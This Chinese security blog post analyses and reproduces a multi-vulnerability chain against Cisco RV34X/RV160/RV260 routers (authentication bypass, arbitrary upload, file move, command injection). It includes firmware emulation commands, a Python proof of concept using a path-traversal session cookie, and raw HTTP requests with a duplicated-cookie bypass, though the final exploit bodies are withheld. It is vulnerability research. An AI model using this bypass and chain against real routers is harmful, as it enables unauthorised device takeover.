(RV34X,160,260) 多漏洞攻击链研究

访客 365 0
本文来源:

(RV34X,160,260) 多漏洞攻击链研究-第1张图片-网盾网络安全培训

漏洞介绍:

在2021年11月的Austin pwn2own比赛中,攻击者对RV34X路由器进行了多个漏洞的发现与利用,通过多漏洞利用构成攻击链,成功实现身份绕过、提权、命令注入效果。

CVE-2022-20705(逻辑缺陷-身份验证绕过)

逻辑缺陷1:在/etc/nginx/conf.d/web.upload.conf文件中,存在逻辑缺陷漏洞。程序直接检查是否存在该sessionid文件,但是如果将sessionid构造为指定路径下已存在的文件,即可绕过身份验证

逻辑缺陷2:在upload.cgi文件sub_10DC4函数中,存在逻辑缺陷漏洞。程序会再次检查sessionid的值,看是否满足base64编码格式,但是在其之前会循环获取sessionid,因此可以构造两个sessionid来绕过以上两个检查

CVE-2022-20709(逻辑缺陷-任意文件上传)

在/etc/nginx/conf.d/web.upload.conf文件中,存在逻辑缺陷漏洞,不对上传文件进行检查,直接编号存储在/tmp/upload文件夹中,因此可以利用CVE-2022-20705绕过身份验证并上传任意文件

CVE-2022-20711(逻辑缺陷-任意文件移动)

在upload.cgi文件sub_115D0函数中,存在逻辑缺陷漏洞。不对mv指令中的参数进行检查和过滤,直接运行造成任意文件移动,因此可以利用CVE-2022-20705绕过身份验证并移动覆盖任意文件,也可通过将文件移动至www文件夹,访问泄露关键信息。

CVE-2022-20707(命令注入-非授权)

在upload.cgi文件sub_12684函数中,存在命令注入漏洞。不对json参数进行检查,直接转化为字符串拼接运行造成命令注入,可以利用CVE-2022-20705,09,11漏洞到达注入函数,然后执行命令。

版本:RV34X<=1.0.03.24,RV160/260<=1.0.01.05

固件模拟

用户模拟
sudo mount --bind /proc proc
sudo mount --bind /dev dev
sudo chroot . ./qemu-arm-static bin/sh
/etc/init.d/boot boot
generate_default_cert
/etc/init.d/confd start
/etc/init.d/nginx start
系统模拟
#qemu启动
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap -nographic
#主机运行网络配置脚本
#! /bin/sh 
sudo sysctl -w net.ipv4.ip_forward=1 
sudo iptables -F 
sudo iptables -X 
sudo iptables -t nat -F 
sudo iptables -t nat -X 
sudo iptables -t mangle -F 
sudo iptables -t mangle -X 
sudo iptables -P INPUT ACCEPT 
sudo iptables -P FORWARD ACCEPT 
sudo iptables -P OUTPUT ACCEPT 
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE 
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT 
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT 
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
#虚拟机配置ip
ifconfig eth0 192.168.100.2 netmask 255.255.255.0 
route add default gw 192.168.100.254
#上传压缩后的文件系统
scp -r rootfs.tar.xz root@192.168.100.2:~/
#解压缩
tar xvf rootfs.tar.xz
#启动nginx服务
chmod -R 777 rootfs
mount -o bind /dev ./rootfs/dev
mount -t proc /proc ./rootfs/proc
chroot rootfs sh
/etc/init.d/boot boot
generate_default_cert
/etc/init.d/confd start
/etc/init.d/nginx start

漏洞分析与复现

CVE-2022-20705(逻辑缺陷-身份验证绕过)

其实这个版本的固件对之前的命令注入漏洞进行了修补,因为CVE-2021-3451在upload.cgi下存在非授权命令注入,但是修补后还是存在逻辑漏洞,依旧可以绕过身份认证。

逻辑缺陷1

分析web.upload.conf中的内容,发现添加了检查条件:

(RV34X,160,260) 多漏洞攻击链研究-第2张图片-网盾网络安全培训

我们进一步分析该检查的逻辑,其会检查seessionid,看此sessionid是否在/tmp/websession/token文件夹下存在,如果不存在,则直接返回403。但是如果我们将sessionid构造为指定路径下以存在的文件,例如:../../../etc/firmware_version,就可以绕过该检查。

需要注意一点,就是tmp/websession文件夹一开始不会生成,必须进行过一次登录请求才会生成该文件夹,因此可以先随意执行一次登录请求。

初始构造poc,注意url使用https,因为发现http会重定向至https

import requests
url='https://127.0.0.1/upload'
headers={'Cookie':'sessionid=../../../etc/nofile'}
r = requests.post(url,headers=headers,verify=False)
print(r.text)

发送后接收到返回:

403 Forbidden
"white">
403 Forbidden

nginx

修改poc:

import requests
url='https://127.0.0.1/upload'
headers={'Cookie':'sessionid=../../../etc/firmware_version'}
r = requests.post(url,headers=headers,verify=False)
print(r.text)

发送后接收到返回:

400 Bad Request
"white">
400 Bad Request

nginx

逻辑缺陷2

程序在upload.cgi中会再次检查sessionid的值,要求只能符合base64的相关规则:

(RV34X,160,260) 多漏洞攻击链研究-第3张图片-网盾网络安全培训

这个检查貌似会影响我们利用逻辑缺陷1漏洞,但其实并不影响,因为前面获取sessionid时,是循环获取的,因此只要构造两个sessionid并且第二个sessionid符合检查规则,即可绕过该检查:

(RV34X,160,260) 多漏洞攻击链研究-第4张图片-网盾网络安全培训

CVE-2022-20709(逻辑缺陷-任意文件上传)

分析web.upload.conf中的内容,发现其不对上传的文件内容加以限制,就会直接在/tmp/upload文件夹下生成存放,从0000000001开始按编号生成

(RV34X,160,260) 多漏洞攻击链研究-第5张图片-网盾网络安全培训

因此编写poc如下,尽管不给upload.cgi的其他参数赋值,只要上传内容,就能在upload文件夹临时存放,sessionid利用CVE-2022-20705进行绕过(注意实际burpsuite中的poc有缩进符号与换行符号)

POST /upload HTTP/1.1
Host: 127.0.0.1
Cookie:sessionid=../../../etc/firmware_version; sessionid=Y2lzY28vMTI3LjAuMC4xLzE1NTk5;
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Optional-Header: header-value
Content-Length: 277
Origin: https://127.0.0.1
Referer: https://127.0.0.1/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
出于安全需要具体exp暂不展示

攻击后效果如下:

(RV34X,160,260) 多漏洞攻击链研究-第6张图片-网盾网络安全培训

CVE-2022-20711(逻辑缺陷-任意文件移动)

分析upload.cgi主函数,其会通过环境变量获取http头部信息,并且通过关键字提取相关参数,如果检查文件名称符合要求,则会调用sub_115D0函数处理

(RV34X,160,260) 多漏洞攻击链研究-第7张图片-网盾网络安全培训

(RV34X,160,260) 多漏洞攻击链研究-第8张图片-网盾网络安全培训

(RV34X,160,260) 多漏洞攻击链研究-第9张图片-网盾网络安全培训

sub_115D0函数本质就是将upload文件夹中的文件,根据我们传入的file.path、pathparam、fileparam等参数,移动到相关文件夹。因此我们可以通过控制相关参数,实现文件的移动和覆盖

(RV34X,160,260) 多漏洞攻击链研究-第10张图片-网盾网络安全培训

(RV34X,160,260) 多漏洞攻击链研究-第11张图片-网盾网络安全培训

因此编写poc如下,将刚刚upload文件夹中的文件,移动至/tmp/www文件夹下(注意实际burpsuite中的poc有缩进符号与换行符号)

POST /upload HTTP/1.1
Host: 127.0.0.1
Cookie:sessionid=../../../etc/firmware_version; sessionid=Y2lzY28vMTI3LjAuMC4xLzE1NTk5;
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Optional-Header: header-value
Content-Type: multipart/form-data; boundary=---------------------------423817133334654906301755622142
Content-Length: 678
Origin: https://127.0.0.1
Referer: https://127.0.0.1/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
出于安全需要具体exp暂不展示

攻击后效果如下:

(RV34X,160,260) 多漏洞攻击链研究-第12张图片-网盾网络安全培训

当然也可以直接指定好参数及上传文件的内容,直接将文件上传并移动至指定目录,此时不需要指定file.path参数,也可以指定。poc如下(注意实际burpsuite中的poc有缩进符号与换行符号):

POST /upload HTTP/1.1
Host: 127.0.0.1
Cookie:sessionid=../../../etc/firmware_version; sessionid=Y2lzY28vMTI3LjAuMC4xLzE1NTk5;
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Optional-Header: header-value
Content-Type: multipart/form-data; boundary=---------------------------423817133334654906301755622142
Content-Length: 678
Origin: https://127.0.0.1
Referer: https://127.0.0.1/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
出于安全需要具体exp暂不展示

攻击效果如下:

(RV34X,160,260) 多漏洞攻击链研究-第13张图片-网盾网络安全培训

(RV34X,160,260) 多漏洞攻击链研究-第14张图片-网盾网络安全培训

CVE-2022-20707(命令注入-非授权)

命令注入发生的函数在sub_12684函数中,执行sub_12684函数的前提是前面文件移动成功执行,也就是说我们依旧要指定好相关的参数:

(RV34X,160,260) 多漏洞攻击链研究-第15张图片-网盾网络安全培训

该函数的主要功能就是根据pathparam参数,执行不同的json数据创建,然后将json格式转为字符串,直接拼接执行,因此造成命令注入:

(RV34X,160,260) 多漏洞攻击链研究-第16张图片-网盾网络安全培训

(RV34X,160,260) 多漏洞攻击链研究-第17张图片-网盾网络安全培训

sub_117E0函数执行的就是json数据创建,注意其中会将destination参数变为json格式,因此我们只需要构造带引号与分号的destination参数,即可实现命令执行。注意这里option参数也不能为空。

(RV34X,160,260) 多漏洞攻击链研究-第18张图片-网盾网络安全培训

因此编写poc如下,此poc只利用了文件移动方法来通过sub_12684函数,也可以利用文件上传与移动来通过sub_12684函数(注意实际burpsuite中的poc有缩进符号与换行符号):

POST /upload HTTP/1.1
Host: 127.0.0.1
Cookie:sessionid=../../../etc/firmware_version; sessionid=Y2lzY28vMTI3LjAuMC4xLzE1NTk5;
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Optional-Header: header-value
Content-Type: multipart/form-data; boundary=---------------------------423817133334654906301755622142
Content-Length: 680
Origin: https://127.0.0.1
Referer: https://127.0.0.1/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
出于安全需要具体exp暂不展示

攻击效果如下图所示:

(RV34X,160,260) 多漏洞攻击链研究-第19张图片-网盾网络安全培训

至此,我们可以实现身份验证绕过,向RV340路由器上传文件、移动文件、运行命令,基本上实现了设备的完全控制,攻击链完整实现。

标签: iptables sudo命令 逻辑函数 https 漏洞 sub

发表评论 (已有0条评论)

还木有评论哦,快来抢沙发吧~